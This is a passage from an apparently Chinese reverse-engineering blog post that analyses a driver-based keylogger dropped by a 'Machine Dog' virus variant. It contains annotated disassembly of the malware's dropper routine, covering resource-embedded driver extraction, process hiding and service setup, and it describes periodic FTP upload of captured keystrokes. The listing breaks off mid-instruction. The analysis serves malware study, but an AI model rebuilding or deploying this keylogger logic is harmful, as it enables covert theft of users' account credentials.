逆向一个基于驱动的恶意程序

本程序发现于机器狗变种病毒释放恶意程序的下载列表中:穿透还原系统后的机器狗病毒在
机器启动后会从指定网址下载多个恶意程序,本程序即其中之一,其功能为通过底层键盘过滤
方式盗取用户键盘输入信息。因程序使用了底层键盘过滤技术,故而可记录大部分软件的键盘
输入,包括网游、QQ、邮箱的帐户输入信息等。
 
一、原理:
 
    此程序随系统进程internat.exe启动而被执行,程序通过加载自身资源里的两个驱动来隐
藏自身进程并截获键盘输入;通过自身线程与前端窗口线程输入绑定来监视窗口句柄及控件焦
点的变化情况,如发现变化则向驱动请求键盘输入扫描码数据,并对得到的扫描数据做解码、
加密、存盘操作;每隔50分钟程序会将按键记录文件上传到指定ftp服务器。
 
二、说明:
 
    1、本文提供的逆向代码均可编译,为调试方便,主程序逆向的C代码去除了定时上传和记
录加密部分(保留汇编代码注释),本地生成的记录文件改随机文件名为当前目录固定文件
名:kblog.txt;
    2、使用OD跟踪可以很容易的从资源中分离出的两个驱动:msdtx.sys和kdbrv.sys。(附件
下载)   msdtx.sys用于自身进程隐藏,经分析其采用的是fuzen开源代码(附件下载),本文不
做讨论。kbdrv.sys为键盘过滤驱动,本文给出其基本流程,并给出IDA反汇编代码的详细注
释。(附件下载)
    3、驱动逆向以hexrays生成的伪代码为中心,尝试以最少的改动来实现伪代码(附件下载)
的编译;
    4、主程序逆向的C代码(见KBLOG_C目录)使用的编译环境为VC6.0,通过此编译环境对驱动
的替换可以验证逆向出来的驱动代码是否正确。
 
三、流程
 
主程序kblog.exe基本流程:
 
1、释放、加载、启动隐藏自身进程的驱动。
2、释放、加载、启动键盘过滤驱动服务。
3、绑定自身线程输入到前端窗口线程输入。
4、监视前端窗口句柄和当前焦点控件句柄。
   如有变化,则向驱动请求数据,并保存数据。
5、每隔50分钟向指定ftp上传加密过的键盘记录。
 
说明:
 
    1、在没有安装过还原系统的机器上重复运行此程序会导致蓝屏,这是因为加载的驱动没有
做卸载处理、重复加载所致而对安装了还原系统的机器则不存在此问题,所以这种加载方式应
该是针对安装了还原系统的网吧设计。
    2、本地生成的记录文件名是随机的,上传到FTP的记录文件被重新命名,FTP目录
cert/cnt/中以数字文件名的形式设置了一个文件记数器,每次上传后此记数器加1,同时保存
到FTP中的文件名会以此记数器的当前数字来命名。记录文件上传后本地记录文件即被删除。
 
以下为主程序kblog.exe的代码注释:
 
------------------------------------------------------;主程序入口---------------------------
00401B39 >push    ebp
00401B3A  mov     ebp,esp
00401B3C  push    -1
00401B3E  push    00402681                            ;  SE 处理程序安装
00401B43  mov     eax,fs:[0]
00401B49  push    eax
00401B4A  mov     fs:[0],esp
00401B51  sub     esp,0AC0
00401B57  mov     dword ptr [ebp-AC4],0
00401B61  mov     dword ptr [ebp-6BC],0
00401B6B  mov     dword ptr [ebp-398],0
00401B75  mov     dword ptr [ebp-4A4],0
00401B7F  mov     dword ptr [ebp-5B0],0
00401B89  mov     dword ptr [ebp-218],0
00401B93  mov     dword ptr [ebp-5AC],0
------------------------------------------------------;  建立流文件对象--------------------------
00401B9D  push    1
00401B9F  lea     ecx,[ebp-84]
00401BA5  call    [<&MSVCIRT.fstream::fstream>]       ;  MSVCIRT.fstream::fstream
00401BAB  mov     dword ptr [ebp-4],0
00401BB2  push    1
00401BB4  lea     ecx,[ebp-380]
00401BBA  call    [<&MSVCIRT.fstream::fstream>]       ;  MSVCIRT.fstream::fstream
00401BC0  mov     byte ptr [ebp-4],1
-----------------------------------------------------------------------------------------------
00401BC4  mov     dword ptr [ebp-31C],004042D0        ;  ASCII "/kbdrv.sys" 键盘过滤驱动文件名
00401BCE  mov     dword ptr [ebp-20],004042DC         ;  ASCII "/msdtx.sys" 隐藏进程驱动文件名
00401BD5  mov     dword ptr [ebp-14],0
00401BDC  mov     dword ptr [ebp-38C],0
00401BE6  mov     dword ptr [ebp-39C],0
00401BF0  mov     dword ptr [ebp-10],0
00401BF7  call    004012B0                            ;  检测是否具备administrator权限
00401BFC  mov     [ebp-38C],eax
00401C02  cmp     dword ptr [ebp-38C],0
00401C09  jnz     short 00401C10                      ;  如具备权限则跳转
00401C0B  jmp     004023B0                            ;  否则返回(释放流文件对象并退出)
00401C10  push    0
00401C12  call    [<&KERNEL32.GetModuleHandleA>]      ;  KERNEL32.GetModuleHandleA
00401C18  mov     [ebp-18],eax
00401C1B  lea     eax,[ebp-49C]
------------------------------------------------------;  定位并加载隐藏进程的驱动文件--------------
00401C21  push    eax
00401C22  push    100
00401C27  call    [<&KERNEL32.GetCurrentDirectoryA>]  ;  KERNEL32.GetCurrentDirectoryA
00401C2D  mov     ecx,[ebp-20]
00401C30  push    ecx
00401C31  lea     edx,[ebp-49C]
00401C37  push    edx
00401C38  call    <jmp.&MSVCRT.strcat>                ;  带路径的驱动文件名
00401C3D  add     esp,8
00401C40  lea     eax,[ebp-49C]
00401C46  mov     [40455C],eax
00401C4B  push    004042E8                            ;  ASCII "sys"
00401C50  push    6A
00401C52  mov     ecx,[ebp-18]
00401C55  push    ecx                                 ; 
00401C56  call    [<&KERNEL32.FindResourceA>]         ;  KERNEL32.FindResourceA 在资源中定位
00401C5C  mov     [ebp-390],eax
00401C62  cmp     dword ptr [ebp-390],0               
00401C69  jnz     short 00401C70                      ;  如定位成功则跳转
00401C6B  jmp     004023B0                            ;  否则返回 
00401C70  mov     edx,[ebp-390]
00401C76  push    edx
00401C77  mov     eax,[ebp-18]
00401C7A  push    eax
00401C7B  call    [<&KERNEL32.LoadResource>]          ;  KERNEL32.LoadResource 加载至内存
00401C81  mov     [ebp-6B8],eax
00401C87  cmp     dword ptr [ebp-6B8],0
00401C8E  jnz     short 00401C95                      ;  如加载成功则跳转
00401C90  jmp     004023B0                            ;  否则返回
------------------------------------------------------;  生成驱动文件msdtx.sys(用于隐藏自身进程)-------
00401C95  mov     ecx,[ebp-6B8]
00401C9B  push    ecx
00401C9C  call    [<&KERNEL32.LockResource>]          ;  KERNEL32.SetHandleCount 设置可用句柄
00401CA2  mov     [ebp-1C],eax
00401CA5  cmp     dword ptr [ebp-1C],0
00401CA9  jnz     short 00401CB0                      ;  如设置成功则跳转
00401CAB  jmp     004023B0                            ;  否则返回
00401CB0  mov     edx,[ebp-390]
00401CB6  push    edx
00401CB7  mov     eax,[ebp-18]
00401CBA  push    eax
00401CBB  call    [<&KERNEL32.SizeofResource>]        ;  KERNEL32.SizeofResource 资源尺寸
00401CC1  mov     [ebp-4A0],eax
00401CC7  mov     ecx,[<&MSVCIRT.filebuf::openprot>]  ;  MSVCIRT.filebuf::openprot
00401CCD  mov     edx,[ecx]
00401CCF  push    edx
00401CD0  push    8A
00401CD5  mov     eax,[40455C]
00401CDA  push    eax
00401CDB  lea     ecx,[ebp-380]
00401CE1  call    [<&MSVCIRT.fstream::open>]          ;  打开用于建立文件
00401CE7  mov     ecx,[ebp-380]
00401CED  mov     edx,[ecx+4]
00401CF0  lea     ecx,[ebp+edx-380]
00401CF7  call    [<&MSVCIRT.ios::fail>]              ;  MSVCIRT.ios::fail 
00401CFD  test    eax,eax
00401CFF  je      short 00401D06                      ;  如打开成功 则跳转
00401D01  jmp     004023B0                            ;  否则返回
00401D06  mov     eax,[ebp-4A0]
00401D0C  push    eax
00401D0D  mov     ecx,[ebp-1C]
00401D10  push    ecx
00401D11  lea     ecx,[ebp-374]
00401D17  call    [<&MSVCIRT.ostream::write>]         ;  MSVCIRT.ostream::write 写入文件
00401D1D  lea     ecx,[ebp-380]
00401D23  call    [<&MSVCIRT.fstream::close>]         ;  MSVCIRT.fstream::close 关闭文件
------------------------------------------------------;  初始化驱动并隐藏自身进程----------------
00401D29  call    004023F1                            ;  初始化驱动
00401D2E  cmp     eax,-1
00401D31  jnz     short 00401D45                      ;  初始化成功则跳转
00401D33  mov     edx,[40455C]                        ;  否则删除驱动文件并返回
00401D39  push    edx
00401D3A  call    [<&KERNEL32.DeleteFileA>]           ;  KERNEL32.DeleteFileA
00401D40  jmp     004023B0
00401D45  call    [<&MSVCRT._getpid>]                 ;  MSVCRT._getpid 得到自身进程PID
00401D4B  mov     [ebp-384],eax
00401D51  mov     eax,[ebp-384]
00401D57  push    eax
00401D58  call    004025A3                            ;  隐藏自身进程 
00401D5D  add     esp,4
00401D60  mov     [ebp-6B4],eax
00401D66  cmp     dword ptr [ebp-6B4],0
00401D6D  jnz     short 00401D81                      ;  隐藏成功则跳转
00401D6F  mov     ecx,[40455C]                        ;  否则删除文件并返回
00401D75  push    ecx
00401D76  call    [<&KERNEL32.DeleteFileA>]           ;  KERNEL32.DeleteFileA
00401D7C  jmp     004023B0
00401D81  mov     edx,[40455C]
00401D87  push    edx                                 ; 
00401D88  call    [<&KERNEL32.DeleteFileA>]           ;  KERNEL32.DeleteFileA
------------------------------------------------------;  定位并加载键盘过滤的驱动文件--------------
00401D8E  lea     eax,[ebp-49C]
00401D94  push    eax
00401D95  push    100
00401D9A  call    [<&KERNEL32.GetCurrentDirectoryA>]  ;  KERNEL32.GetCurrentDirectoryA
00401DA0  mov     ecx,[ebp-31C]
00401DA6  push    ecx
00401DA7  lea     edx,[ebp-49C]
00401DAD  push    edx
00401DAE  call    <jmp.&MSVCRT.strcat>                ;  带路径的驱动文件名
00401DB3  add     esp,8
00401DB6  lea     eax,[ebp-49C]
00401DBC  mov     [40455C],eax
00401DC1  push    004042EC                            ;  ASCII "sys"
00401DC6  push    69
00401DC8  mov     ecx,[ebp-18]
00401DCB  push    ecx
00401DCC  call    [<&KERNEL32.FindResourceA>]         ;  KERNEL32.FindResourceA 定位
00401DD2  mov     [ebp-390],eax
00401DD8  cmp     dword ptr [ebp-390],0
00401DDF  jnz     short 00401DE6                      ;  如定位成功则跳转
00401DE1  jmp     004023B0                            ;  否则返回
00401DE6  mov     edx,[ebp-390]
00401DEC  push    edx
00401DED  mov     eax,[ebp-18]
00401DF0  push    eax
00401DF1  call    [<&KERNEL32.LoadResource>]          ;  KERNEL32.LoadResource 加载至内存
00401DF7  mov     [ebp-6B8],eax
00401DFD  cmp     dword ptr [ebp-6B8],0
00401E04  jnz     short 00401E0B                      ;  如加载成功则跳转
00401E06  jmp     004023B0                            ;  否则返回 
------------------------------------------------------;  生成驱动文件kbdrv.sys(用于键盘过滤)--------------
00401E0B  mov     ecx,[ebp-6B8]
00401E11  push    ecx
00401E12  call    [<&KERNEL32.LockResource>]          ;  KERNEL32.SetHandleCount 设置可用句柄
00401E18  mov     [ebp-1C],eax
00401E1B  cmp     dword ptr [ebp-1C],0
00401E1F  jnz     short 00401E26                      ;  如设置成功则跳转
00401E21  jmp     004023B0                            ;  否则返回 
00401E26  mov     edx,[ebp-390]
00401E2C  push    edx
00401E2D  mov     eax,[ebp-18]
00401E30  push    eax
00401E31  call    [<&KERNEL32.SizeofResource>]        ;  KERNEL32.SizeofResource 资源尺寸
00401E37  mov     [ebp-4A0],eax
00401E3D  mov     ecx,[<&MSVCIRT.filebuf::openprot>]  ;  MSVCIRT.filebuf::openprot
00401E43  mov     edx,[ecx]
00401E45  push    edx
00401E46  push    8A
00401E4B  mov     eax,[40455C]
00401E50  push    eax
00401E51  lea     ecx,[ebp-380]
00401E57  call    [<&MSVCIRT.fstream::open>]          ;  打开用于建立文件
00401E5D  mov     ecx,[ebp-380]
00401E63  mov     edx,[ecx+4]
00401E66  lea     ecx,[ebp+edx-380]
00401E6D  call    [<&MSVCIRT.ios::fail>]              ;  MSVCIRT.ios::fail
00401E73  test    eax,eax
00401E75  je      short 00401E7C                      ;  如打开成功 则跳转
00401E77  jmp     004023B0                            ;  否则返回 
00401E7C  mov     eax,[ebp-4A0]
00401E82  push    eax
00401E83  mov     ecx,[ebp-1C]
00401E86  push    ecx
00401E87  lea     ecx,[ebp-374]
00401E8D  call    [<&MSVCIRT.ostream::write>]         ;  MSVCIRT.ostream::write 写入文件
00401E93  lea     ecx,[ebp-380] 
00401E99  call    [<&MSVCIRT.fstream::close>]         ;  MSVCIRT.fstream::close 关闭文件
------------------------------------------------------;  安装并启动服务----------------------------
00401E9F  push    0F003F
00401EA4  push    0
00401EA6  push    0
0040
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值